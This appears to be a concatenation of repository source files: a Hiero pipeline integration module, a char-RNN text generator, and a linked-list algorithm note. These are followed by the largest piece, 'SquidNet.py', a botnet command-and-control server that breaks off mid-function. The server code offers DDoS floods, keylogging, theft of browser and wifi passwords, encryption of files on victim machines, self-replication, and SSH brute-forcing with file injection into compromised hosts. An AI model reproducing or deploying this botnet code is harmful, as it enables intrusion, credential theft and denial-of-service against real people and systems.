<gh_stars>0 import os from pype.api import Logger from avalon import api as avalon from pyblish import api as pyblish from pype import PLUGINS_DIR from .workio import ( open_file, save_file, current_file, has_unsaved_changes, file_extensions, work_root ) from .menu import ( install as menu_install, _update_menu_task_label ) from .events import register_hiero_events __all__ = [ # Workfiles API "open_file", "save_file", "current_file", "has_unsaved_changes", "file_extensions", "work_root", ] # get logger log = Logger().get_logger(__name__, "hiero") ''' Creating all important host related variables ''' AVALON_CONFIG = os.getenv("AVALON_CONFIG", "pype") # plugin root path PUBLISH_PATH = os.path.join(PLUGINS_DIR, "hiero", "publish") LOAD_PATH = os.path.join(PLUGINS_DIR, "hiero", "load") CREATE_PATH = os.path.join(PLUGINS_DIR, "hiero", "create") INVENTORY_PATH = os.path.join(PLUGINS_DIR, "hiero", "inventory") # registering particular pyblish gui but `lite` is recomended!! if os.getenv("PYBLISH_GUI", None): pyblish.register_gui(os.getenv("PYBLISH_GUI", None)) def install(): """ Installing Hiero integration for avalon Args: config (obj): avalon config module `pype` in our case, it is not used but required by avalon.api.install() """ # adding all events _register_events() log.info("Registering Hiero plug-ins..") pyblish.register_host("hiero") pyblish.register_plugin_path(PUBLISH_PATH) avalon.register_plugin_path(avalon.Loader, LOAD_PATH) avalon.register_plugin_path(avalon.Creator, CREATE_PATH) avalon.register_plugin_path(avalon.InventoryAction, INVENTORY_PATH) # Disable all families except for the ones we explicitly want to see family_states = [ "write", "review", "plate" ] avalon.data["familiesStateDefault"] = False avalon.data["familiesStateToggled"] = family_states # install menu menu_install() # register hiero events register_hiero_events() def uninstall(): """ Uninstalling Hiero integration for avalon """ log.info("Deregistering Hiero plug-ins..") pyblish.deregister_host("hiero") pyblish.deregister_plugin_path(PUBLISH_PATH) avalon.deregister_plugin_path(avalon.Loader, LOAD_PATH) avalon.deregister_plugin_path(avalon.Creator, CREATE_PATH) def _register_events(): """ Adding all callbacks. """ # if task changed then change notext of hiero avalon.on("taskChanged", _update_menu_task_label) log.info("Installed event callback for 'taskChanged'..") def ls(): """List available containers. This function is used by the Container Manager in Nuke. You'll need to implement a for-loop that then *yields* one Container at a time. See the `container.json` schema for details on how it should look, and the Maya equivalent, which is in `avalon.maya.pipeline` """ # TODO: listing all availabe containers form sequence return
1.960938
2
generate.py
priyavrat-misra/scifi-lorem
0
12764278
<gh_stars>0 import torch import argparse import pyperclip from network import CharRNN from infer_utils import sample parser = argparse.ArgumentParser( prog='SciFi Lorem', description='generate random *meaningful* sci-fi text' ) parser.add_argument('-S', '--save_path', type=str, metavar='', help='saves the text to a file with given name') parser.add_argument('-s', '--size', nargs='?', default=512, type=int, metavar='', help='generates given no of characters (default 512)') parser.add_argument('-p', '--prime', nargs='?', default='The', type=str, metavar='', help='sets the starter/prime text (default "The")') parser.add_argument('-k', '--topk', nargs='?', default=3, type=int, metavar='', help='randomly choose one from top-k probable chars') parser.add_argument('-v', '--verbose', nargs='?', const=1, type=bool, metavar='', help='prints the text to console') parser.add_argument('-c', '--copyclip', nargs='?', const=1, type=bool, metavar='', help='copies the text to clipboard') def main(): args = parser.parse_args() if args.topk <= 1: print('-k/--topk should be a value greater than 1') exit(1) with open('models/char_rnn.pth', 'rb') as f: checkpoint = torch.load(f, map_location='cpu') model = CharRNN( tokens=checkpoint['tokens'], n_hidden=checkpoint['n_hidden'], n_layers=checkpoint['n_layers'] ) model.load_state_dict(checkpoint['model']) model.eval() text = sample(model, size=args.size, top_k=args.topk, prime=args.prime) if args.verbose: print(text + '\n') if args.save_path is not None: with open(args.save_path, 'w') as f: f.write(text) print(f'>>> generated text saved to {args.save_path}') if args.copyclip: pyperclip.copy(text) print('>>> generated text copied to clipboard') if __name__ == '__main__': main()
2.5
2
notes/algo-ds-practice/problems/list/copy_list_random_pointer.py
Anmol-Singh-Jaggi/interview-notes
6
12764279
''' You are given a linked list with one pointer of each node pointing to the next node just like the usual. Every node, however, also has a second pointer that can point to any node in the list. Now write a program to deep copy this list. Solution 1: First backup all the nodes' next pointers node to another array. next_backup = [node1, node2, node3 ... None] Meaning next_backup[0] = node[0].next = node1. Note that these are just references. Now just deep-copy the original linked list, only considering the next pointers. While copying (or after it), point `original_0.next = copy_0` and `copy_0.random = original_0` Now, while traversing the copy list, set the random pointers of copies correctly: copy.random = copy.random.random.next Now, traverse the original list and fix back the next pointers using the next_backup array. Total complexity -> O(n+n+n) = O(n) Space complexity = O(n) SOLUTION 2: We can also do it in space complexity O(1). This is actually easier to understand. ;) For every node original_i, make a copy of it just in front of it. For example, if original_0.next = original_1, then now it will become `original_0.next = copy_0` `copy_0.next = original_1` Now, set the random pointers of copies: `copy_i.random = original_i.random.next` We can do this because we know that the copy of a node is just after the original. Now, fix the next pointers of all the nodes: original_i.next = original_i.next.next copy_i.next = copy_i.next.next Time complexity = O(n) Space complexity = O(1) '''
4.125
4
Botnets/SquidNet.py
Egida/Ethical-Hacking-Scripts
29
12764280
<reponame>Egida/Ethical-Hacking-Scripts import random, socket, time, sys, threading, random, os, hashlib, datetime, sqlite3 try: """This Module comes with Paramiko.""" from cryptography.fernet import Fernet except: pass from optparse import OptionParser """This script is NOT Perfected(Still a WIP)! Notify me if there are any issues with the script! I am open for DMs but please state that are a user of my scripts, otherwise I will ignore you(I don't accept DMs from strangers). My Discord: DrSquid™#7711. If you are unable to reach me, you can open a discussion and I will respond to that in my repository.""" class ArguementParse: """Main Class for parsing command prompt arguements when running the scripts.""" def __init__(self): """All arguements are optional! The botnet will start up without arguements, however it will only be hosted on localhost. The arguement parsing function will be utilized here.""" self.get_args() def downloadNgrok(self): """Downloads Ngrok for windows. May need to add it for other OS's but maybe in the future I will.""" print("[+] Downloading Ngrok.....\n") if sys.platform == "win32": batfile = open("getNgrok.bat", "w") batfile.write(f""" curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip tar -xf {os.getcwd()}/ngrok.zip """) batfile.close() os.startfile(batfile.name) else: output = os.popen("curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip") print("[+] Downloading Ngrok.....") print("[+] Ngrok zip file has been downloaded. Unzip it to extract ngrok!\n") print("[+] Sign in with an ngrok account and you are good to go.") print("[+] Run 'ngrok tcp 80' to start an Ngrok domain after finishing.") sys.exit() def usage(self): """Displays help for arguement parsing(good for first time users). Allows the user to know what the arguements do as well as well as how to use them.""" print(Botnet.log_logo(None)) print(""" [+] Option-Parsing Help: [+] --ip, --ipaddr - Specifies the IP to host the Botnet on. [+] --p, --port - Specifies the Port to host the Botnet on. [+] --aU, --adminuser - Specify Botnet Admin Username. [+] --aP, --adminpass - Specify Botnet Admin Password. [+] --pL, --passlist - Specify a TXT File for SSH Brute-Forcing. [+] Optional Arguements: [+] --i, --info - Shows this message. [+] --gN, --getngrok - Downloads Ngrok. [+] --eK, --encryptkey - Specify encrypting key for bots. [+] --eH, --externalhost - Specify an External Hostname for external connections. [+] --eP, --externalport - Specify an External Port for external connections. [+] Note: You need to have an Ngrok domain started for the ngrok arguements to have effect. [+] Usage:""") if sys.argv[0].endswith(".py"): print("""[+] python3 Squidnet.py --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport> [+] python3 Squidnet.py --i [+] python3 Squidnet.py --gN""") else: print("""[+] Squidnet --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport> [+] Squidnet --i [+] Squidnet --gN""") sys.exit() def get_args(self): """Arguement Parsing function for initiating the Botnet. Also adds a bit of info for configuring settings in the Botnet to function the best way that it can.""" opt = OptionParser() opt.add_option("--ip", "--ipaddr", dest="ip") opt.add_option("--p", "--port", dest="port") opt.add_option("--aU", "--adminuser", dest="adminuser") opt.add_option("--aP", "--adminpass", dest="adminpass") opt.add_option("--eK", "--encryptkey", dest="key") opt.add_option("--pL", "--passlist", dest="passfile") opt.add_option("--eH", "--externalhost", dest="ngrokhost") opt.add_option("--eP", "--externalport", dest="ngrokport") opt.add_option("--gN", "--getngrok", dest="download", action="store_true") opt.add_option("--i", "--info", dest="info", action="store_true") arg, opti = opt.parse_args() if arg.download is not None: print(Botnet.log_logo(None)) self.downloadNgrok() if arg.info is not None: self.usage() else: pass if arg.ip is None: ip = "localhost" else: ip = arg.ip if arg.port is None: port = 80 else: try: port = int(arg.port) if port == 8080: port = 80 except: Botnet.logo(None) print("[+] Invalid port provided! Must be an integer!") sys.exit() if arg.adminuser is None: adminuser = "admin" else: adminuser = arg.adminuser if arg.adminpass is None: adminpass = str(random.randint(0, <PASSWORD>)) else: adminpass = arg.adminpass if arg.key is None: try: key = Fernet.generate_key() except: key = b'<KEY> else: key = str(arg.key).encode() if arg.passfile is None: passfile = False else: passfile = arg.passfile if arg.ngrokhost is not None: ngrokhost = arg.ngrokhost else: ngrokhost = None if arg.ngrokport is not None: try: ngrokport = int(arg.ngrokport) except: print(Botnet.log_logo(None)) print("[+] Invalid port provided! Must be an integer!") sys.exit() else: ngrokport = None self.webinterface = Web_Interface("localhost", 8080) self.botnet = Botnet(ip, port, adminuser, adminpass, key, passfile, ngrokhost, ngrokport) class Botnet: """Main Class Made for the BotNet. Everything important and needed for the Botnet is located in this class.""" class NotSamePassException(Exception): def __init__(self, msg=f"Configured Password is the the same as one in server txt file!"): """Little Error for the password configuration.""" self.msg = msg super().__init__(self.msg) def __init__(self, ip, port, name, passw, key, passwfile, ngroklink=None, ngrokport=None): """Initiation of the main script. Definition of socket server, ngrok hosts, logging, etc are created. There are also definition of variables that are vital to the overall script that are defined here as well. Logging is also started.""" self.ip = ip self.port = int(port) self.name = name self.passw = <PASSWORD>w self.key = key self.info = [] self.ssh_info = [] self.admininfo = [] self.bot_count = 0 self.passfilename = <PASSWORD>wfile self.logfile = "servlog.txt" self.passfile = <PASSWORD>wfile self.log("\n" + self.log_logo() + "\n") self.log("\n[(SERVER)]: Starting up server....") if self.passfile != False: try: self.passwords = open(passwfile, 'r') except: self.logo() print(f"[+] File '{passwfile}' is not in current directory.\n[+] Server is closing.....") self.log("\n[(ERROR)]: Error starting up server - Brute-forcing file is not in directory!\n[(CLOSE)]: Server is closing.....") sys.exit() self.version = "8.0" self.connportlist = [] self.conn_list = [] self.admin_conn = [] self.ips = [] self.ssh_bots = [] self.ssh_botlist = [] self.display_bots = [] self.admin_name = "" self.admin_password = "" self.savefile = False self.botfile = "" self.instruction = "" try: self.ngroklink = ngroklink self.ngrokport = int(ngrokport) tester = socket.gethostbyname(self.ngroklink) except: self.ngroklink = self.ip self.ngrokport = self.port self.listenforconn = True self.botscript = self.bot_script() self.working = False self.obtaininghistory = False self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: self.serv.bind((ip, port)) self.working = True except Exception as e: self.working = False self.logo() print("[+] The Server cannot be started! Check the logs for more info.") self.log(f"\n[(ERROR)]: Unable to bind IP and Port due to: {e}") sys.exit() if self.working: self.cwd = os.getcwd() self.listener = threading.Thread(target=self.listen) self.listener.start() self.logo() self.savefile = False self.displaykeys = False self.welcomemsg = """ [(SERVER)]: [+] List of Commands: [+] !help - Displays this message. [+] !getconninfo - Displays info about all of the connections. [+] Commands for TCP Botnet: [+] !httpflood [website] [delay] - Denial Of Services the website provided. [+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets. [+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets. [+] !openfile [filename] - Opens a file in the bot working directory. [+] !changedir [dir] - Changes the working directory of the Bot. [+] !rmdir [folder] - Removes a folder in the bot working directory. [+] !rmfile [file] - Removes a file in the bot working directory. [+] !encfile [file] - Encrypts a provided file in the bot working directory [+] !decfile [file] - Decrypts a provided file in the bot working directory [+] !viewfilecontent [file] - Gets the content of the files provided. [+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer. [+] !mkdir [dir] - Makes a folder in the bot current directory. [+] !gotowebsite [url] - Takes the bot to the provided website. [+] !mkfile [filename] - Creates a file in the bot working directory. [+] !editfile [file] - Opens a file in writing mode for the bots. [+] !stopedit - Closes file editor on bots and returns to normal. [+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not). [+] !stopkeylog - Stops any keylogging on the Botnet. [+] !encdir - Encrypts all files in the bot working directory [+] !decdir - Decrypts all files in the bot working directory [+] !botcount - Gets the amount of connected bots. [+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet. [+] !changedirdesktop - Sets the bot working directory to their Desktop. [+] !listdir - Lists the files in the bot working directories. [+] !resettoken - Resets the token and changes it to a new token [+] !getinfo - Gets the OS, cwd, IP, and username of the bots. [+] !getip - Gets the IP of the bots [+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only). [+] !savefile - Obtains a file from the bots directory. [+] !getcwd - Gets the bots working directory. [+] !getos - Gets the OS Of the bots. [+] !getpasswords - Gets the stored browser passwords of the bots(Windows only). [+] !rickroll - Rick Rolls the Bots. [+] !getchromehistory - Obtains the chrome history of the bots(it needs to already be in the server txt file). [+] !cloneself - Self replicates the Bot scripts in the bots. [+] Commands for SSH Botnet: [+] !infect [ip] [user] - Brute forces login for provided ip and username. [+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password. [+] !listsshbots - Lists all SSH Bots. [+] Any other commands will be made into cmd commands. """ item = f"\n[(SERVER)]: Server started: {datetime.datetime.today()}\n[(SERVER)]: Successfully started server on: {self.ngroklink}:{self.ngrokport}\n[(SERVER)]: Listening for connections.....\n[(SERVER)]: Encryption key used: {self.key}" self.log(item) print(f"\n[+] Hosting Server at {self.ngroklink}:{self.ngrokport}") print("[+] Web-Interface For More Info: http://127.0.0.1:8080") print("[+] Botnet is Up! Listening for connections.....\n") print(f"[+] This Server is being logged!\n[+] Server Log File: {self.logfile}") print(f"\n[+] Use this token when encrypting!: {key}") print("[+] Notice that this token will be used if encrypting files(probably save it).") self.usage() self.instructor = threading.Thread(target=self.instruct) self.instructor.start() def log_logo(self=None): """Logo of this script.""" logo = """ _____ _ _ _ _ _ ___ ___ / ____| (_) | | \ | | | | / _ \ / _ \ | (___ __ _ _ _ _ __| | \| | ___| |_ __ _| (_) | | | | \___ \ / _` | | | | |/ _` | . ` |/ _ \ __| \ \ / /> _ <| | | | ____) | (_| | |_| | | (_| | |\ | __/ |_ \ V /| (_) | |_| | |_____/ \__, |\__,_|_|\__,_|_| \_|\___|\__| \_/ \___(_)___/ | | |_| TCP and SSH Botnet Hybrid Command and Control Server By DrSquid""" return logo def logo(self): """Prints the logo of this script.""" print(self.log_logo()) def usage(self): """This displays the list of commands on the server that can be sent to the bots.""" print("\n[+] Commands:\n") print("[+] !help - Displays all of the commands.") print("[+] !whatsnew - Displays all new features.") print("[+] !getconninfo - Displays info about all of the connections.") print( "[+] !genadminscript - Generates the admin script for remote connections to this server.") print( "[+] !genscript - Generates the bot python script needed to connect to this server.") print("[+] !clear - Clears the output.") print( "[+] !togglelisten - Toggles whether to stop accepting connections or start accepting them.") print("[+] !kick [hostname] [srcport] - Kicks a client off of the Botnet.") print("\n[+] Commands for TCP Botnet:\n") print("[+] !httpflood [website] [delay] - Denial Of Services the website provided.") print("[+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets.") print("[+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets.") print("[+] !openfile [filename] - Opens a file in the bot working directory.") print("[+] !changedir [dir] - Changes the working directory of the Bot.") print("[+] !rmdir [folder] - Removes a folder in the bot working directory.") print("[+] !rmfile [file] - Removes a file in the bot working directory.") print("[+] !encfile [file] - Encrypts a provided file in the bot working directory") print("[+] !decfile [file] - Decrypts a provided file in the bot working directory") print("[+] !viewfilecontent [file] - Gets the content of the files provided.") print("[+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer.") print("[+] !mkdir [dir] - Makes a folder in the bot current directory.") print("[+] !gotowebsite [url] - Takes the bot to the provided website.") print("[+] !mkfile [filename] - Creates a file in the bot working directory.") print("[+] !editfile [file] - Opens a file in writing mode for the bots.") print("[+] !stopedit - Closes file editor on bots and returns to normal.") print( "[+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not).") print("[+] !stopkeylog - Stops any keylogging on the Botnet.") print("[+] !encdir - Encrypts all files in the bot working directory") print("[+] !decdir - Decrypts all files in the bot working directory") print("[+] !botcount - Gets the amount of connected bots.") print("[+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet.") print("[+] !changedirdesktop - Sets the bot working directory to their Desktop.") print("[+] !listdir - Lists the files in the bot working directories.") print("[+] !resettoken - Resets the token and changes it to a new token") print("[+] !getinfo - Gets the OS, cwd, IP, and username of the bots.") print("[+] !getip - Gets the IP of the bots") print( "[+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only).") print("[+] !savefile - Obtains a file from the bots directory.") print("[+] !getcwd - Gets the bots working directory.") print("[+] !getos - Gets the OS Of the bots.") print("[+] !getpasswords - Gets the stored browser passwords of the bots(Windows only).") print("[+] !rickroll - Rick Rolls the Bots.") print("[+] !cloneself - Self replicates the Bot scripts in the bots.") print( "[+] !getchromehistory - Check the bots chrome history(Hehehe....)(it will save in an external file).") print("\n[+] Commands for SSH Botnet:\n") print("[+] !infect [ip] [user] - Brute forces login for the provided ip and username.") print("[+] !inject [file] - Opens FTP and injects a file into an infected host.") print("[+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password.") print("[+] !listsshbots - Lists all SSH Bots.") print("\n[+] Any other commands will be made into cmd commands.\n") def listen(self): """This function listens for connections from admins and bots alike. The first message recieved will be interpreted as the name of the device and it will displayed for the Admins to see. A thread is created for the handling of the connection. If variable 'self.listenforconn' is False, then the server will not listen for connections.""" while True: try: if self.listenforconn: flag = 0 self.serv.listen(1) c, ip = self.serv.accept() if not self.listenforconn: c.close() else: msg = c.recv(1024).decode().strip() self.bot_count += 1 split_msg = msg.split() hostname = split_msg[0] try: ipaddr = str(split_msg[1]) except: ipaddr = "Unknown" try: user = str(split_msg[2]) except: user = "Unknown" try: connection = str(ip[1]) except: connection = "Unknown" try: opsys = split_msg[3] except: opsys = "Unknown" self.connportlist.append(hostname + " " + str(ip[1]) + " " + str(c)) self.log(f""" [({hostname})---->(SERVER)]: [+] HOSTNAME: {hostname} [+] IPADDR : {ipaddr} [+] USERNAME: {user} [+] CONN : {connection} [+] OS : {opsys}""") info = str(hostname + " " + ipaddr + " " + user + " " + connection + " " + opsys) self.info.append(info) print(f"\n[!] {hostname} has connected to the botnet.") self.log(f"\n[(CONNECTION)]: {hostname} has connected to the botnet.") handle = threading.Thread(target=self.handler, args=(c, hostname, self.bot_count, info)) handle.start() else: pass except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") def log(self, msg): """Logs server output.""" try: self.serverlog = open(self.logfile, 'r') contents = self.serverlog.read() self.serverlog.close() self.serverlog = open(self.logfile, 'w') self.serverlog.write(contents) self.serverlog.write(msg) self.serverlog.close() except FileNotFoundError: self.serverlog = open(self.logfile, "w") self.serverlog.write(msg) self.serverlog.close() except: self.serverlog = open(self.logfile, 'rb') contents = self.serverlog.read() self.serverlog.close() self.serverlog = open(self.logfile, 'wb') self.serverlog.write(contents) self.serverlog.write(msg) self.serverlog.close() def wrap_item(self, word, size): """Wraps the items from the conn-list and aligns it in the table.""" item = word while len(item) + 2 <= size - 1: item += " " return item def gen_conntable(self): """Generates the connection table with info about each connection. This is similar to the information displayed in the Web-Interface.""" result = """ Regular Connections: ______________________________________________________________________________________ | | | | | | | Hostname | IP Address | Username | Connection | OS | |_______________________|__________________|______________|______________|___________|""" for info in self.info: split_info = info.split() result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|" result += "\n|_______________________|__________________|______________|______________|___________|" result += """ Admin Connections: ______________________________________________________________________________________ | | | | | | | Hostname | IP Address | Username | Connection | OS | |_______________________|__________________|______________|______________|___________|""" for info in self.admininfo: split_info = info.split() result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|" result += "\n|_______________________|__________________|______________|______________|___________|" result += """ SSH Connections: ________________________________________________________ | | | | | Hostname | IP Address | Password | |_______________________|_______________|______________|""" for info in self.ssh_info: split_info = info.split() result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}|" result += "\n|_______________________|_______________|______________|\n" return result def handler(self, c, hostname, number, info): """Function recieves packets from the connections. This is needed for clients to send packets to the botnet so the Admin can see what the Bots are sending. This is needed also for password grabbing and information obtaining. This function is also important for admin connections as they need to send and recieve packets. It also handles the connections, and keeps them alive.""" admin = False isbot = False while True: try: msg = c.recv(65500) if self.savefile or self.obtaininghistory: pass else: try: msg = msg.decode() except Exception as e: msg = str(msg) self.log(f"\n[(ERROR)]: {str(e)}") if not isbot: if msg == "!CLIENTLOG": isbot = True msgtoadmin = f"[(SERVER)]: {hostname} is recognized as part of the Botnet." self.log("\n" + msgtoadmin) print(f"[!] {hostname} is recognized as part of the Botnet.") for adm in self.admin_conn: try: adm.send(msgtoadmin.encode()) except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") self.conn_list.append(c) else: print(f"[!] WARNING: {hostname} IS NOT PART OF THE BOTNET.\n[!] Closing Connection.....") c.close() break if isbot: if not admin: if str(type(msg)) == "str": if msg.startswith('!login'): msg_split = msg.split() name = msg_split[1] passw = msg_split[2] try: passw = passw.encode() except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") hashed_passw = hashlib.sha256(passw).hexdigest() if hashed_passw == self.admin_password and name == self.admin_name: try: admin = True print(f"[!] {hostname} is an Admin!") hostname = f"ADMIN)({hostname}" msgtoadmin = f"[(SERVER)]: {hostname} is an Admin!" self.log("\n" + msgtoadmin) for admi in self.admin_conn: try: admi.send(msgtoadmin.encode()) except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") self.admin_conn.append(c) try: c.send(self.welcomemsg.encode()) except: pass self.log(f"\n[(SERVER)---->({hostname})]: Sent welcome message.") self.admininfo.append(info) except: pass else: c.send("Access Denied!".encode()) msgtoall = f"[(ATTEMPTEDBREACHWARNING)]: {hostname} attempted to login to the botnet with incorrect credentials!\n[(ATTEMPTEDBREACHWARNING)]: Closing Connection...." self.log("\n" + msgtoall) print(msgtoall) for admins in self.admin_conn: try: admins.send(msgtoall.encode()) except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") c.close() break elif msg.startswith("!sendkey"): msg_split = msg.split() del msg_split[0] main_msg = "" for i in msg_split: main_msg = main_msg + " " + i main_msg = main_msg.strip() logthis = f"[({hostname})]: {main_msg}" if self.displaykeys: print(logthis) if self.obtaininghistory: try: if msg.decode().strip() == "": pass else: self.historyfile.write(f"\n[({hostname})]: ".encode() + msg) except: self.historyfile.write(f"\n[({hostname})]: ".encode() + msg) if admin: if msg.startswith('!httpflood'): msgtobot = msg.split() try: targ_website = msgtobot[1] atk_delay = msgtobot[2] servmsg = f"[({hostname})]: Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n" self.log("\n" + servmsg) print(servmsg) c.send( f"Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}") except: msg = "help" c.send("Invalid Parameters!".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Invalid Parameters!") elif msg.startswith('!tcpflood'): msgtobot = msg.split() try: target = msgtobot[1] servmsg = f"[({hostname})]: Beginning TCP Flood Attack on {target}.\n" self.log("\n" + servmsg) print(servmsg) c.send( f"Successfully started a TCP Flood Attack on {target}".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Successfully started a TCP Flood Attack on {target}") except: msg = "help" c.send("Invalid Parameters!".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Invalid Parameters!") elif msg.startswith("!getchromehistory"): try: file = open("BotsHistory.txt", "rb").read() if len(str(file)) == 0: c.send( "[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode()) else: c.send("[(SERVER)]:".encode() + file) except: c.send( "[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode()) elif msg.startswith('!udpflood'): msgtobot = msg.split() try: target = msgtobot[1] servmsg = f"[({hostname})]: Beginning UDP Flood Attack on {target}.\n" self.log("\n" + servmsg) print(servmsg) c.send( f"Successfully started a UDP Flood Attack on {target}".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Successfully started a UDP Flood Attack on {target}") except: msg = "help" c.send("Invalid Parameters!".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Invalid Parameters!") elif msg.startswith('!help'): c.send(self.welcomemsg.encode()) elif msg.startswith("!infect"): if self.passfile != False: msg_split = msg.split() ip = msg_split[1] username = msg_split[2] bruteforcer = threading.Thread(target=self.ssh_infect, args=(ip, username)) bruteforcer.start() else: c.send( "[(SERVER)]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!".encode()) self.log( f"\n[(SERVER)---->({hostname})]: Botnet is configured without ssh bruteforcing. Cannot bruteforce!") elif msg.startswith("!keylog"): msg_split = msg.split() try: self.displaykeys = bool(msg_split[1]) except: self.displaykeys = False self.log("\n[(SERVER)]: Started Keylogging on the bots.") c.send( f"[(SERVER)]: Set displaying Key-inputs to the server to: {self.displaykeys}".encode()) elif msg.startswith("!stopkeylog"): self.log("\n[(SERVER)]: Stopped Keylogging on the bots.") elif msg.startswith("!sshlogin"): msg_split = msg.split() ip = msg_split[1] username = msg_split[2] password = msg_split[3] login = threading.Thread(target=self.ssh_login, args=(ip, username, password)) login.start() elif msg.startswith("!getconninfo"): c.send(str("[(SERVER)]:\n" + self.gen_conntable()).encode()) self.log(f"\n[(SERVER)---->({hostname})]:\n{self.gen_conntable()}") elif msg.startswith("!inject"): msg_split = msg.split() file = msg_split[1] for bot in self.ssh_bots: self.ssh_inject(bot, file) elif msg.startswith("!listsshbots"): c.send(f"[(SERVER)]: Connected SSH Bots: {self.display_bots}".encode()) self.log(f"\n[(SERVER)---->({hostname})]: Connected SSH Bots: {self.display_bots}") if "!login" in msg.strip() or "!help" in msg.strip() or "!getconninfo" in msg.strip() or "!listsshbots" in msg.strip() or "!getchromehistory" in msg.strip() or self.obtaininghistory: pass else: if len(self.ssh_bots) != 0: sendtossh = threading.Thread(target=self.send_ssh, args=(msg,)) sendtossh.start() for connect in self.conn_list: if connect in self.admin_conn: pass else: try: connect.send(msg.encode()) except: connect.send(msg) if msg == "" or msg == " ": pass else: if self.savefile: try: if msg.decode() == "finished": savefile = False except: pass filenames = f"{number}{self.botfile}" file_created = False try: file = open(filenames, 'rb') file_content = file.read() file_created = True except: file = open(filenames, 'wb') file.write(msg) file_content = msg file.close() file_created = True if file_created: file = open(filenames, 'wb') try: file.write(file_content.encode()) except: file.write(file_content) try: file.write(msg.encode()) except: file.write(msg) file.close() filemsg = f"\n[({hostname})]: Saved contents of {self.botfile} into {filenames}" print(filemsg) self.log(filemsg) file_created = False elif not self.savefile: try: if not self.obtaininghistory: msgtoadmin = f"[({hostname})]: {msg.strip()}" self.log("\n" + msgtoadmin) if not msg.startswith("!sendkey"): print("\n" + msgtoadmin) except Exception as e: self.log(f"\n[(ERROR)]: {e}") for adminconn in self.admin_conn: try: if c == adminconn: pass else: adminconn.send(msgtoadmin.encode()) except Exception as e: self.log(f"\n[(ERROR)]: Unable to send msg to: {adminconn}.") except Exception as e: if "a bytes-like object is required, not 'str'" in str( e) or "An operation was attempted on something that is not a socket" in str( e) or "startswith first arg must be bytes or a tuple of bytes, not str" in str(e): self.log(f"\n[(ERROR)]: Ignoring Error {e} in {hostname}") else: self.log( f"\n[(ERROR)]: {hostname} seems defective(Error: {e}).\n[(CLOSECONN)]: Closing connection....") print(f"\n[!] {hostname} seems defective.\n[!] Closing connection....\n") c.close() break def ssh_login(self, ip, username, password): """Does regular logging in with SSH into the provided ip and username. There is no brute-forcing since a password arguement has be passed, and that the brute-force text file is not used.""" print(f"[+] Attempting to login to {username}@{ip}\n[+] With password: {password}") msgtoadmin = f"[(SERVER)]: Attempting to login to {username}@{ip}\n[(SERVER)]: With password: {password}" self.log('\n' + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, 22, username, password) self.ips.append(ip) self.display_bots.append(f"{username}@{ip}") self.ssh_bots.append(client) self.ssh_info.append(str(username) + " " + str(ip) + " " + str(password)) self.ssh_botlist.append(str(client) + ' ' + str(username)) msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {password}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n" self.log('\n' + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass print( f"\n[!] Successfully logged into {username}@{ip} with {password}!\n[!] Adding {username}@{ip} to the botnet.\n") except Exception as e: print(f"[+] Unable to login to {ip}@{username}\n[+] Try using different credentials.") msgtoadmin = f"[(SERVER)]: Unable to log into {username}@{ip} due to: {e}" self.log("\n" + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass def ssh_infect(self, ip, username): """Attempts to brute force the ip and username with the password list provided from the txt file specified in the __init__ function.""" print(f"[+] Brute Forcing the Password for: {username}@{ip}\n") msgtoadmin = f"[(SERVER)]: 